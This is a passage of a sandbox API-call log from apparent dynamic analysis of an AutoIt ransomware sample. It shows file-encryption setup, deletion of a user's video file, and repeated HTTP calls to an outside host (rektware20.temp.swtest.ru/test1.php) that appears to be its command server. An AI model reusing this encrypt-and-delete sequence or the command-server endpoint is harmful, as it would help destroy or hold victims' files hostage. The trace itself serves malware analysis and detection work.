[0066.827] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.827] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.827] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.827] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.827] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.827] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.827] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.827] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.827] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.828] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.828] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.828] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.828] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.828] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.828] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.828] CryptReleaseContext (hProv=0x17aa670, dwFlags=0x0) returned 1 [0066.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.828] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.828] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.828] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.828] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.828] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.828] CloseHandle (hObject=0x2ac) returned 1 [0066.830] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.830] CloseHandle (hObject=0x3bc) returned 1 [0066.872] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.872] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.872] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", lpFilePart=0x0) returned 0x4a [0066.872] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rifvj8pwvurnpzjutaw1.avi")) returned 0x20 [0066.873] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c370 [0066.873] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rifvj8pwvurnpzjutaw1.avi")) returned 1 [0066.876] FindNextFileW (in: hFindFile=0x164c370, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.881] FindClose (in: hFindFile=0x164c370 | out: hFindFile=0x164c370) returned 1 [0066.881] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.881] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.881] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.881] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.882] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0066.882] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.882] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.882] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.882] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.882] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.882] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.882] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ef8c) returned 1 [0066.883] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.883] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.883] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.883] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.883] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.883] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.884] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.884] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.884] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.884] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.884] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.884] CloseHandle (hObject=0x0) returned 0 [0066.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rQaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QaYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yyh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yh8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ixDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xDrw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Drw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rw5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Fs.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.889] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.889] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.889] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.889] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.889] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.889] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.889] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.889] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.889] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f40, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f40, lpdwBufferLength=0x130ee1c) returned 1 [0066.889] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.889] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.889] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.890] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.890] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.890] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.890] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.890] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.890] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.890] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.890] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.890] CloseHandle (hObject=0x0) returned 0 [0066.890] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.890] FindFirstFileW (in: 